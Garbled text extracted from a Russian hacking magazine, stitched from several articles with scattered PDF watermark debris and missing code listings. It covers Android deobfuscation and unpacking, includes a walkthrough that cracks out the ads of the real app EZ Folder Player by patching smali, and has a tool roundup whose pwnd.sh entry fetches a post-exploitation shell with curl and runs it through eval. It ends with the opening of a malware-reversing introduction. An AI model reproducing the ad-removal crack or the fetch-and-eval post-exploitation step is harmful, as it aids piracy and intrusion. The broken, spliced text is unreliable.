Недурно, не правда ли? А теперь представь, что эти строки состоят не из обычных символов алфавита, а из символов Unicode (так делает DexGuard, коммерческая версия ProGuard) или наборов вроде l1ll1, повторяющихся раз этак пятьдесят. Разработчик вполне может применить и более мощные средства обфускации, нашпиговав приложение бессмысленным кодом. Такой код не будет выполнять никаких полезных функций, но направит тебя совершенно не в ту сторону, что грозит как минимум потерей времени.

Не желая его терять, ты можешь начать с поиска строк, которые приведут тебя к цели: это могут быть различные идентификаторы, с помощью которых приложение регистрирует себя на сервере, строки, записываемые в конфиг при оплате, пароли и так далее. Однако вместо строк ты вполне можешь увидеть нечто вроде этого:

Это зашифрованная строка, которая расшифровывается во время исполнения приложения. Такую защиту предлагают DexGuard, Allatory и многие другие обфускаторы. Она действительно способна остановить очень многих, но соль в том, что если есть зашифрованный текст, значит, в коде должен быть и дешифратор. Его очень легко найти с помощью поиска по имени переменной (в данном случае zb). При каждом ее использовании всегда будет вызываться метод, дешифрующий строку. Выглядеть это может примерно так:

Здесь метод a() класса a и есть дешифратор. Поэтому, чтобы узнать, что внутри зашифрованной строки, нужно просто добавить в дизассемблированный код приложения вызов функции Log.d("DEBUG", a.a(zb)) и собрать его обратно (как это сделать, описано в первой статье цикла). После запуска приложение само выдаст в лог дешифрованную строку. Лог можно просмотреть либо подключив смартфон к компу и вызвав команду adb logcat, либо с помощью приложения CatLog для Android (требует root).

Нередко, правда, придется попотеть, чтобы найти дешифратор. Он может быть встроен во вполне безобидную функцию и дешифровать строку неявно, может состоять из нескольких функций, которые вызываются на разных этапах работы со строкой. Сама зашифрованная строка может быть разбита на несколько блоков, которые собираются вместе во время исполнения приложения. Но самый шик — это класс-дешифратор внутри массива!

DexGuard имеет функцию скрытия классов, которая работает следующим образом. Байт-код скрываемого класса извлекается из приложения, сжимается с помощью алгоритма Gzip и записывается обратно в приложение в форме массива байтов (byte[]). Далее в приложение внедряется загрузчик, который извлекает код класса из массива и с помощью рефлексии создает на его основе объект, а затем вызывает нужные методы. И конечно же, DexGuard использует этот трюк для скрытия дешифратора, а также кода других классов по желанию разработчика. Более того, скрытые в массивах классы могут быть зашифрованы с помощью скрытого в другом массиве дешифратора!

Так что, если ты имеешь дело с приложением, имена классов в котором написаны на китайском или языке смайликов, а по коду разбросаны странные массивы длиной от нескольких сот элементов до десятков тысяч, знай — здесь поработал DexGuard.

С рефлексией вместо прямого вызова методов объекта ты можешь столкнуться и в других обстоятельствах, не связанных со скрытием классов. Рефлексия может быть использована просто для обфускации (как в случае с обфускатором Allatory). Тогда вместо такого кода:

ты увидишь нечто вроде этого:

А если используется шифрование — это:

В данном случае я закодировал строки в Base64, поэтому их легко «раскодировать» с помощью команды

$ echo строка | base64 -d

Но в реальном приложении тебе, скорее всего, придется расшифровать все эти строки с помощью описанного выше способа просто для того, чтобы понять, какие объекты и методы вызывает приложение в своей работе.

А еще есть упаковщики. Это другой вид защиты, основанный не на запутывании кода, а на его полном скрытии от глаз реверсера. Работает он так. Оригинальный файл classes.dex (содержащий код приложения) переименовывается, шифруется и перемещается в другой каталог внутри пакета APK (это может быть каталог assets, res или любой другой). Место оригинального classes.dex занимает распаковщик, задача которого — загрузить в память оригинальный classes.dex, расшифровать его и передать ему управление. Для усложнения жизни реверсера основная логика распаковщика реализуется на языке си, который компилируется в нативный код

ARM с применением средств обфускации и защиты от отладки (gdb, ptrace).

Хороший упаковщик создает очень большие проблемы для анализа кода приложения. В ряде случаев единственный действенный вариант борьбы с ними — это снятие дампа памяти процесса и извлечение из него уже расшифрованного кода classes.dex. Но есть и хорошие новости: упаковщик накладывает серьезные ограничения на функциональность приложения, приводит к несовместимостям и увеличенному расходу памяти. Так что разработчики обычных приложений используют упаковщики редко, зато их очень любят создатели разного рода троянов и вирусов.

Вычислить наличие упаковщика в APK совсем нетрудно. Для этого достаточно взглянуть на содержимое каталога lib/ armeabi. Если ты найдешь в нем файл libapkprotect2.so, значит, применен упаковщик ApkProtect, файл libsecexe.so — Bangle, libexecmain.so — ljiami.

ДЕОБФУСКАТОРЫ

Как видишь, инструментов обмануть тебя и отбить желание расковыривать приложение у разработчиков предостаточно, поэтому и ты должен быть вооружен. В первую очередь нужен хороший декомпилятор. На всем протяжении цикла мы использовали бесплатный jadx, вполне неплохо справляющийся с этой задачей. Кроме этого, он имеет встроенный деобфускатор, трансформирующий идентификаторы вида a, az, l1l1l1l1... или состоящие из символов Unicode в цифро-буквенные идентификаторы, уникальные для всего приложения. Это позволяет никогда не спутать метод a() класса a с методом a() класса b и легко находить нужные идентификаторы с помощью глобального поиска.

Также тебе понадобится инструмент для дампа информации о пакете. Не такой информации, как его содержимое и дата сборки, а информации об используемых в пакете средствах обфускации и защиты. В первую очередь стоит обратить внимание на ApkDetecter. Также можно попробовать APKiD.

Оба инструмента должны показывать, был ли применен тот или иной обфускатор или упаковщик в отношении приложения, но часто не показывают ничего. Это вполне закономерно, обфускаторы эволюционируют, меняя логику своей работы, приемы обфускации и скрытия от подобных инструментов.

По этой же причине нередко оказываются бессильны и деобфускаторы, такие как Java Deobfuscator и Simplify. Но это совсем не значит, что их не стоит применять. Java Deobfuscator работает исключительно с байт-кодом Java, поэтому перед тем, как его использовать, APK нужно перегнать в JAR с помощью dex2jar.

Далее следует натравить на полученный JAR-файл Java Deobfuscator с указанием используемого «трансформера»:

$ java -jar deobfuscator.jar -input Приложение.jar

-output Приложение_после_деобфускации.jar

-transformer allatori.StringEncryptionTransformer

-path ~/Android/android-sdk-linux/platforms/android-23/android.jar

Данная команда применит к приложению трансформер allatori. StringEncryptionTransformer, расшифровывающий зашифрованные с помощью Allatory строки, и запишет результат в Приложение_после_деобфускации.jar. После этого приложение можно декомпилировать, но не с помощью jadx (он работает только с байт-кодом Android Dalvik), а, например, с помощью JD-GUI.

Java Deobfuscator поддерживает более десятка трансформеров, позволяющих расшифровывать строки, зашифрованные другими обфускаторами, конвертировать вызовы с помощью рефлексии в обычные, удалять мертвый код и так далее. Поэтому можно поэкспериментировать.

Если же Java Deobfuscator не дал результатов, стоит попробовать Simplify. Это так называемый динамический деобфускатор. Он не анализирует байткод, пытаясь найти в нем следы работы обфускаторов и отменить внесенные ими изменения, как это делает Java Deobfuscator. Вместо этого он запускает дизассемблированный код smali внутри виртуальной машины, позволяя приложению самостоятельно расшифровать строки, затем удаляет мертвый неиспользуемый код и рефлексию. На выходе ты получишь dex-файл, который можно декомпилировать с помощью jadx.

Использовать Simplify довольно просто:

$ java -jar simplify.jar -i каталог_с_файлами_smali -o classes.dex

Код доприменения Simplify

Код после применения Simplify

Но как быть с упаковщиками? Для этого есть инструмент Kisskiss. Для его работы нужен смартфон с правами root и активированным режимом отладки (ADB) в режиме root (в CyanogenMod можно включить в «Режиме для разработчиков»). Также на компе понадобится команда adb:

$ sudo apt-get install android-tools-adb

$ sudo adb devices

Далее Kisskiss необходимо установить на смартфон:

$ wget https://github.com/strazzere/android-unpacker/archive/

master.zip

$ unzip master.zip

$ cd android-unpacker-master/native-unpacker

$ sudo apt-get install build-essential

$ make

$ make install

Запустить нужное приложение на смартфоне и выполнить команду (на компе)

$ adb shell /data/local/tmp/kisskiss имя.пакета.приложения

После этого Kisskiss сделает дамп памяти процесса и запишет его в odexфайл. Его можно сконвертировать в dex с помощью уже знакомого нам baksmali:

$ adb pull /system/framework/arm/boot.oat /tmp/framework/boot.oat

$ baksmali -c boot.oat -d /tmp/framework -x файл.odex

И декомпилировать с помощью jadx.

НЕБОЛЬШОЙ ПРИМЕР

Ну и в заключение приведу небольшой пример взлома обфусцированного приложения. Он не очень сложный, без шифрования и упаковки, но позволяет понять логику работы с кодом, по которому трудно ориентироваться из-за измененных идентификаторов. В этот раз мы будем работать с EZ Folder Player, а именно уберем из него рекламу.

Для начала установим приложение на смартфон и внимательно проследим за тем, в каких случаях и на каких экранах появляется реклама. Нетрудно заметить, что она есть только на экране выбора файла. Это важная информация, которая нам очень пригодится. Теперь попробуем включить режим полета, завершить приложение и вновь запустить его. Реклама полностью исчезает. Это тоже важно, приложение явно умеет самостоятельно включать и выключать показ рекламы, а значит, все, что нам требуется, — это просто найти данный код и либо удалить «включатель» рекламы, либо самостоятельно вызвать «выключатель».

Теперь скачиваем приложение на комп с помощью APKPure, кладем его в каталог ~/tmp и переименовываем в ez.apk для удобства работы. Открываем пакет в jadx-gui и видим множество каталогов (Java-пакетов). Нужный нам пакет носит имя самого приложения: com.dp.ezfolderplayer.free. Открываем его, внутри множество классов с именами вида C0770p, C0763i и так далее, почти все переменные и методы любого класса носят имена типа f2881, f2284:

Не внушает оптимизма, правда? Совсем непонятно, с чего начать. Точнее, было бы непонятно, если бы мы не знали, что реклама отображается исключительно на экране выбора файла. Проматываем вниз и видим нужный нам класс FilesActivity.

Но почему он не обфусцирован? По простой причине: каждый экран приложения в Android — это так называемая активность (activity), а все активности должны быть явно перечислены в манифесте приложения — Manifest.xml. Если бы обфускатор изменил имя класса-активности, Android просто не смог бы его найти и приложение вывалилось бы с ошибкой.

Открываем FilesActivity и сразу смотрим, работает ли он с провайдером рекламы напрямую (или же делает это через другой класс либо с помощью рефлексии). Для этого взглянем на директивы import:

Да, класс явно вызывает методы пакета com.google.android.gms.ads (стандартный гугловский провайдер рекламы), иначе зачем бы ему его импортировать. Осталось найти место, где он это делает, и просто изменить или удалить код так, чтобы рекламы не было видно. Ближе к концу кода находим это:

Несмотря на применение обфускации, код вполне понятный, мы видим нормальные имена классов (AdView, AdSize, LinearLyout) и методов (setAdUnitId, findViewById). Легко можем понять, что делает этот код: создает новый графический элемент (View) с рекламой, настраивает его вид, а затем загружает в него рекламное объявление. Вопрос только в том, почему мы это видим? Обфускатор настолько плох и не справляется со своей работой?

На самом деле все намного проще: обфускатор работает исключительно с кодом самого приложения и поэтому неспособен запутать код внешних для него классов (а это классы пакета com.google.android.gms.ads и все системные классы). Поэтому зачастую логику работы обфусцированного кода довольно легко проследить по вызовам внешних API. В случае с EZ Folder Player мы не знаем имя загружающего рекламу метода (m4989q) и имя объекта, хранящего View (f2394K), но видим все его методы и обращения к системным API (тот же findViewById), что позволяет сделать вывод о том, зачем весь этот код.

А теперь о том, как все это отключить. Самый простой вариант — просто удалить весь код метода, но это может привести к ошибкам в других участках кода, которые, возможно, обращаются к объекту f2493K. Вместо этого мы пойдем немного другим путем. Обрати внимание на пятую строку кода. Она вызывает метод setVisibility объекта f2493K, который, в свою очередь, хранит View рекламного блока. Метод setVisibility позволяет настраивать отображение View, указав одно из возможных состояний с помощью числа. Если мы взглянем на справку Android, то узнаем, что 8 означает: View должен быть полностью убран с экрана.

Другими словами, данный код формирует View с рекламным блоком, а затем сам же его убирает с экрана. Но зачем? Затем, что нет смысла показывать рекламный блок, если он еще не загружен (помнишь исчезновение рекламы в режиме полета?). Но как приложение узнает, что реклама загрузилась? Согласно документации — с помощью AdListener: разработчик создает класс-наследник AdListener, создает рекламный View, вызывает его метод setAdListener, в качестве аргумента передавая ему объект класса-наслед- ника AdListener, и вызывает loadAd для загрузки рекламы. Когда реклама загрузится, будет вызван метод onAdLoaded() класса-наследника AdListener.

А теперь смотри на строку:

C0766l не может быть ничем иным, кроме класса-наследника AdListener. Открываем его в jadx и видим:

Бинго! Всего одна строка кода, которая делает рекламный View видимым (значение 0). Если мы ее удалим, View останется невидим на все время работы приложения.

Но вот незадача: в дизассемблированном с помощью apktool коде smali нет класса C0766l. Такой идентификатор мы видим только в jadx, потому что он переименовал класс. Но зато он оставил для нас комментарий касательно настоящего имени класса:

Открываем ez/smali/com/dp/ezfolderplayer/free/l.smali и видим следующий код:

Это и есть строка this.f2868a.f2493K.setVisibility(0);. Чтобы убрать ее, необходимо удалить почти весь метод, оставив только четыре строки:

Остается только собрать APK и установить на девайс:

$ cd ~/tmp

$ apktool b ez

$ mv ez/dist/ez.apk ez-noads.apk

$ sign ez-noads.s.apk

EZ Folder Player до

...после модификации

 

 

ВЫВОДЫ

Несмотря на существование большого количества обфускаторов и других средств защиты приложений, подавляющее большинство разработчиков используют исключительно встроенный в Android Studio ProGuard. Разобраться в коде приложения, обфусцированного с его помощью, совсем несложно, но и разбираться в работе более продвинутых обфускаторов тоже необходимо. Хотя бы для того, чтобы уметь реверсить вирусы. Ты же не собираешься заниматься варезом, правда?

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

df-x

han

 

 

 

w Click

to

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

Дмитрий «D1g1» Евдокимов,

Digital Security @evdokimovds

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни авторы, ни редакция за твои действия ответственности не несут!

Автор: Ivan Fratric

URL: github.com/ivanfratric/winafl

Система: Windows

Автор: Itzik Kotler

URL: github.com/SafeBreachLabs/pwndsh

Система:

Linux, macOS, Solaris

Автор: Graph-X

URL: github.com/Graph-X/davscan

Система: Windows/Linux

Автор: Daniel Garcia

URL: github.com/danigargu/urlfuzz

Система: Windows/Linux

Автор:

Nikolaos Kamarinakis

URL: github.com/k4m4/onioff

Система: Windows/Linux

Автор:

Alexander Chailytko, Stanislav Skuratovich

URL: github.com/CheckPointSW/ VB2016-sandbox-evasion

Система: Windows

Автор: Storm Shadow

URL: github.com/techbliss/ Windows_Screenrecorder

Система: Windows

WINAFL

Уже достаточно давно сердца всех любителей фаззинга покорил AFL от Михала Залевски (Michal Zalewski) для фаззинга с расширением покрытия кода, что позволяет ему проверить больше путей программы. Только вот одна незадача: он отлично работает лишь при наличии исходного кода проекта на *nix-системах, что, как ты сам понимаешь, не всегда выполнимо, особенно для приложений под ОС Windows.

WinAFL — это форк оригинального AFL для ОС Windows, позволяющий фаззить сразу исполняемые файлы. Данный инструмент использует не compilation time инструментацию, как оригинал, а динамическую бинарную инструментацию, реализованную в движке DynamoRIO. Стоит отметить, что такое изменение в подходах вносит оверхед в два раза по сравнению с оригинальной скоростью работы программы.

Для сборки проекта понадобится Visual Studio Command Prompt, и отдельно собирается версия как для 32-битной, так и 64-битной системы. А пример запуска программы под этим фаззером выглядит вот таким образом:

path\to\DynamoRIO\bin64\drrun.exe -c winafl.dll

-debug -target_module test_gdiplus.exe

-target_offset 0x1270 -fuzz_iterations 10

-nargs 2 -- test_gdiplus.exe input.bmp

PWND.SH

Pwnd.sh — это post-exploitation-фреймворк (и интерактивный шелл), разработанный на скриптовом языке оболочки Bash. Он нацелен на кросс-плат- форменность с минимальными сторонними зависимостями.

Установка:

$ cd bin/

$ ./compile_pwnd_sh.sh

Это сгенерирует файл под названием pwnd.sh, и уже можно приступать к делу. При этом скрипт отлично работает в памяти, то есть даже в файловых системах read-only, и отлично исчезает после перезагрузки. Один из способов такого запуска выглядит следующим образом:

#Создаем переменную X

#Устанавливаем X в значение pwnd.sh

#(получаем через curl)

$ X=`curl -fsSL «https://raw.githubuser

content.com/SafeBreach-Labs/pwndsh/

master/bin/pwnd.sh»`

# Используем Bash eval

$ eval «$X»

Более подробно об инструменте можно узнать из презентации Just Got PWND.sh (pdf) с конференции SkyDogCon 2016.

DAVSCAN

DAVScan—этобыстрыйилегковесныйWebDAV-ска- нер, разработанный для обнаружения скрытых файлов и директорий на серверах с включенным протоколом WebDAV. Сканер вычисляет неправильно сконфигурированные серверы, серверы с избыточными привилегиями, серверы с уязвимостями раскрытия информации или обхода аутентификации. Сканер пытается сначала определить версию сервера, а затем опробовать все результаты, выданные через запрос PROPFIND.

Особенности:

определение заголовка сервера: если сервер возвращает валидный хедер, DAVScan ищет доступные публичные эксплоиты под него;

первичное WebDAV-сканирование через PROPFIND: быстрое сканирование с целью выявить что-либо видимое через WebDAV;

обход unicode-аутентификации: экспериментальная опция, требует перепроверки правильности срабатывания;

исключение DoS-эксплоитов из списка: при работе ты можешь исключить данный тип эксплоитов (опция -d);

исключение модулей MSF из списка (опция -m).

Использовать можно так:

$ davscan.py [-h] -H HOST [-p PORT]

[-a AUTH] [-u USER] [-P PASSWORD]

[-o OUTFILE] [-d ] [-m ]

То есть необходимая опция для запуска — это только -H и наименование хоста. Если не задана опция выходного файла, то результаты будут записываться в /tmp/davout.

URLFUZZ

Еще один фаззер, написанный на Node.js, но отличающийся от многих использованием мощи асинхронных/неблокирующих функций ввода-вывода Node.js. Это позволяет делать ОЧЕНЬ БЫСТРЫЕ веб-запросы.

Способен фаззить:

URL;

данные POST;

заголовки HTTP;

фильтры.

Может фильтровать ответы по кодам ошибок, номеру слова, номеру строки, тексту. Полезные нагрузки: список слов, брутфорс, диапазон.

Установка:

$ npm install

Пример запуска фаззинга POST-данных, используй словарик и фильтруй по тексту:

$ node urlfuzz.js http://localhost/login.php

-d «user=admin&pass=#FUZZ#» -w big.txt

--ht denied

ONIOFF

ONIOFF — инспектор Onion URL’ов. Это простая тулза, написанная на чистом Python, для изучения URL’ов глубокого веба (Deep Web). Она принимает на вход ссылки и возвращает их текущий статус вместе с названием самих страничек.

Совместима с Python 2.6 и 2.7. Установка:

$ git clone https://github.com/k4m4/

onioff.git $ cd onioff

$ pip install -r requirements.txt

Поддерживается считывание ссылок из файла и запись отчета в файл. Пример запуска:

$ python onioff.py -f ~/onions.txt

-o ~/report.txt

Здесь onions.txt — файл с ссылками, а report.txt — файл, куда будут записываться результаты.

ОБНАРУЖЕНИЕ SANDBOX-ОКРУЖЕНИЙ

Sandbox detection tool — это инструмент для обнаружения виртуальных окружений. Он содержит самые свежие техники детекта, вместе с этим ты можешь модифицировать их самостоятельно без редактирования исходного кода.

Поддерживаемые окружения:

Cuckoo Sandbox;

продукты VMware;

VirtualBox.

Особенности:

легко расширяем: быстро добавляется поддержка новых виртуальных сред;

в инструменте содержатся все техники по обнаружению Cuckoo Sandbox — самого распространенного виртуального окружения для автоматического анализа малвари;

возможность добавлять новые техники обнаружения не путем изменения исходного кода, а с помощью конфигурационных файлов JSON, то есть можно добавлять способы обнаружения даже самостоятельно;

понятные отчеты: их могут читать как хардкорные специалисты, так и высший менеджмент.

Более подробно об инструменте можно узнать из презентации Defeating Sandbox Evasion (pdf) с конференции Virus Bulletin 2016.

WINDOWS SCREEN RECORDER

Windows screen recorder — это простой инструмент для записи происходящего на экране ОС Windows. Написан на Python 2.7 и PyQt5. При этом установочный файл не зависит от установленной версии Python и PyQt.

Инсталлер добавит инструмент в меню «Пуск», но его же можно напрямую вызывать и из программы на Python. Для этого надо зарегистрировать библиотеки Qt-screen-capture-recorder.dll и Qt- screen-capture-recorder-x64.dll с помощью скрипта register_run_as_admin.bat.

Управлять рекордером можно через значок в системном трее, просто кликнув по нему левой или правой кнопкой мыши.

INFO
Многие думают,
что reversing — это только взлом коммерческого ПО для превращения программ в warez. На самом деле reversing — это гораздо больше и глубже. Теми же методами, что и крекеры, пользуются эксперты
по информационной безопасности, анализирующие malware или изучающие уязвимости и недокументированные возможности ПО.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

MALWARE

 

 

 

df-x

han

 

 

 

w Click

to

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

www. .com, g14vano@gmail.com

REVERSING MALWARE

ДЛЯ НАЧИНАЮЩИХ

ЧАСТЬ 0: ВВЕДЕНИЕ В РЕМЕСЛО

INTRO

Предлагаем твоему вниманию цикл статей «Reversing malware для начинающих», посвященных методикам и техникам анализа бинарного кода вредоносов в «домашней лаборатории». В первой статье мы коснемся специфики нашего ремесла, рассмотрим основной инструментарий, необходимый нам для исследований, и сделаем обзор наиболее интересных и значимых ресурсов для самостоятельного изучения.

REVERSING КАК ИСКУССТВО

Сегодня анализ вредоносного кода — это целая индустрия в области обеспечения информационной безопасности. Им занимаются и антивирусные лаборатории, выпускающие свои продукты для защиты, и узкоспециализированные группы экспертов, стремящихся быть

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

втренде векторов атак, и даже сами вирусописатели, которые конкурируют между собой за потенциального клиента — «жертву». Для вирусного аналитика, сидящего в застенках какого-нибудь крупного разработчика, это каждодневная кропотливая работа, требующая порой нестандартного и проактивного подхода. Однако, несмотря на то что функциональность малвари постоянно совершенствуется и техники обфускации модифицируются, общие методы анализа остаются уже долгое время неизменными.

Одна из важных частей анализа малвари — реверсинг (англ. reverse code engineering), или «обратная разработка», программного обеспечения. Если

вдвух словах, реверсинг — это попытка изучить и воссоздать алгоритмы работы программы, не имея на руках исходных кодов, с помощью специальных отладочных техник. По сравнению с анализом малвари тут возникает очень много весьма тонких нюансов. Во-первых, реверсинг ПО в абсолютном большинстве случаев запрещается лицензионным соглашением, так что любые попытки что-то изучить в «образовательных целях» совершаются только на свой страх и риск. Анализ же малвари таких ограничений не содержит, более того, это «дело благородное» — к примеру, изучив, каким образом ramsomware шифрует файлы жертвы, можно попробовать создать для нее декриптор, что, кстати, очень часто и делают разработчики антивирусного ПО. Во-вторых, реверсинг, как правило, направлен в сторону коммерческого ПО, делающего из trial или незарегистрированной версии ПО вполне рабочую (warez). Иными словами, это распространение пиратских копий ПО. Эти действия нарушают множество статей авторского и интеллектуального права, патентного законодательства, международных соглашений и тому подобного.

Хорошая статья о правовых основах реверсинга

Несмотря на неодобрение большинства представителей власти, ИТ-бизне- са и закона, в хакерском смысле реверсинг имеет и положительные стороны. К примеру, благодаря изучению программного обеспечения многие эксперты по безопасности обнаружили различные недокументированные возможности в ПО, которые обернулись большим скандалом для вендоров и производителей. Сюда же можно отнести и найденные 0day-уязвимости, которые не афишировались на публику до выпуска официальных патчей. Поклонникам open source, скорее всего, известен термин Clean room design, иными словами — способ копирования дизайна без нарушения авторских прав и коммерческой тайны разработчика. Так, к примеру, поступают с проприетарными графическими драйверами Nvidia под Linux-системы, пытаясь воссоздать оригинальную архитектуру, чтобы выпустить open source драйвер.

ГОТОВИМ ДОМАШНЮЮ ЛАБОРАТОРИЮ

Самый простой способ (и самое гибкое решение) создать тестовую домашнюю лабораторию для изучения малвари — установить виртуальную машину на настольный компьютер или ноутбук. Помимо того что виртуальные ОС позволяют обезопасить свою рабочую среду от случайного разрушения при работе с вредоносами, ты еще и сэкономишь кучу времени и усилий на разворачивание стендов, используя все преимущества снапшотов и V2V-копирования.

Из виртуальных сред наиболее доступны VirtualBox, MS Hyper-V и QEMU. Запуская одновременно несколько виртуальных систем на одном физиче-

ском компьютере, ты можешь анализировать вредоносное ПО, которое пытается взаимодействовать с другими системами, получая/передавая команды, отправляя данные в сеть и тому подобное.

Некоторые продвинутые вредоносы научились определять, что они запущены в виртуальной среде, и это, конечно, можно рассматривать как недостаток. Однако это прекрасный шанс потренироваться и применить некоторые техники, позволяющие произвести реверсинг малвари даже в таком случае.

МЕТОДЫ АНАЛИЗА ВРЕДОНОСНЫХ ПРОГРАММ

Чаще всего при анализе вредоносного программного обеспечения в нашем распоряжении будет только бинарник, то есть исполняемый файл или библиотека, скомпилированный в двоичном виде. Для того чтобы понять, как этот файл, а точнее его бинарный код работает, нужно будет использовать специальные инструменты и приемы. Существует два основных подхода к анализу вредоносных программ: статический и динамический. При статическом анализе вредоносные программы изучают, не запуская малварь на исполнение. Динамический же анализ включает в себя запуск вредоносных программ и манипуляции с запущенным

процессом в оперативной памяти. Также оба метода условно можно разделить на базовый и продвинутый анализ. Базовый статический анализ состоит из изучения исполняемого файла без просмотра машинных инструкций. По сути, это первичный анализ, который может либо подтвердить, либо опровергнуть предположение о том, что файл вредоносен. Базовый динамический анализ связан с запуском вредоносного кода и наблюдением его поведения в целевой системе с помощью специальных инструментов.

Продвинутый статический анализ подразумевает под собой загрузку исполняемого файла в дизассемблер без запуска кода в оперативной памяти и просмотр ассемблерных инструкций на предмет того, что делает код программы в целевой системе. Продвинутый динамический анализ использует отладчик для изучения внутреннего состояния выполняемого кода в оперативной памяти.

ОСНОВНЫЕ ИНСТРУМЕНТЫ ДЛЯ ИССЛЕДОВАНИЙ

Ниже мы рассмотрим самые основные и широко используемые утилиты, превращающиеся в умелых руках в грозные инструменты. По аналогии с описанными выше методами, все инструменты условно можно разделить на инструменты статического и динамического анализа.

1. Некоторые инструменты статического анализа

PEiD

Анализатор

бинарных файлов PEiD

PEiD — это небольшое приложение, которое используется для анализа бинарного файла и обнаружения стандартных упаковщиков, крипторов и компиляторов. Авторы вредоносов часто пытаются упаковать или обфусцировать свои творения, чтобы сделать их более трудными для обнаружения и анализа.

PEiD использует базу сигнатур/артефактов (байтовые последовательности). Такие последовательности характерны для исполняемых/бинарных файлов, полученных в результате компиляции или упаковки. PEiD ищет данные сигнатуры в исполняемом/бинарном файле (на момент написания статьи их было доступно 470).

Dependency Walker

Утилита Walker

Еще один основной инструмент анализа вредоносных программ — Walker. Это бесплатное приложение, которое можно использовать для сканирования 32- и 64-битных модулей Windows (.ехе, библиотеки DLL, .ocx и так далее) и получения списка всех импортируемых и экспортируемых функций. Walker также отображает детальную информацию о файлах, включая путь файла, номер версии, тип машины, отладочную информацию.

Resource Hacker

УтилитаResourceHacker

Resource Hacker — это бесплатное приложение для извлечения ресурсов из бинарников Windows-программ. Resource Hacker позволяет добавлять, извлекать и изменять строки, изображения, меню, диалоги, VersionInfo, манифест.

PEview

ПросмотрщикбинарныхфайловPEview

Бесплатный и простой в использовании инструмент PEview позволяет просматривать информацию, хранящуюся в таблице PE-заголовков файлов и в различных сегментах файла.

FileAlyzer

УтилитаFileAlyzer

FileAlyzer — бесплатный инструмент для чтения информации, хранящейся в PE-заголовках файлов, но предлагает немного больше функций и возможностей, чем PEview.

2. Некоторые инструменты динамического анализа

Procmon

УтилитаProcmon

Procmon, он же Process Monitor, — это бесплатный инструмент, разработанный для пакета Windows Sysinternals, используется для мониторинга файловой системы ОС Windows, реестра и процессов в реальном времени. Инструмент представляет собой комбинацию двух старых инструментов — утилиты Filemon и Regmon.

Process Explorer

Утилита Process Explorer

Process Explorer — это бесплатный инструмент от Microsoft, который часто используется при выполнении динамического анализа вредоносных программ. Программа показывает, какие приложения и DLL-файлы выполняются и загружаются для каждого процесса.

Regshot

Regshot — это отличная утилита с открытым кодом для мониторинга изменений реестра с возможностью моментального снимка, который можно сравнить с эталонным состоянием реестра. Это позволяет видеть изменения, внесенные после того, как вредоносная программа была запущена в системе.

УтилитаRegshot

ApateDNS

Еще один отличный инструмент для динамического анализа вредоносных программ. ApateDNS позволяет контролировать запросы/ответы от DNS-службы и выступает в качестве DNS-сервера на локальном компьютере. ApateDNS может заменить штатную службу DNS-ответов на DNS-запросы, генерируемые вредоносными программами на определенный IP-адрес.

Netcat

Швейцарский нож Netcat

Netcat — это инструмент для чтения и записи в сетевых подключениях по протоколу TCP и UDP. Программа, зарекомендовавшая себя как швейцарский армейский нож из-за многих возможностей, которые она предлагает: тут и сканирование портов, и переадресация портов, и туннелирование прокси, и многое другое.

Wireshark

АнализаторсетевыхпакетовWireshark

Wireshark — это один из лучших сетевых инструментов анализаторов семейства TCP/IP. Wireshark используют для анализа сетевой активности, чтобы максимально подробно увидеть, что происходит в данный момент в сети, он дает возможность захватить пакеты, сдампив их в файл.

INetSim

Симулятор сетевых служб INetSim

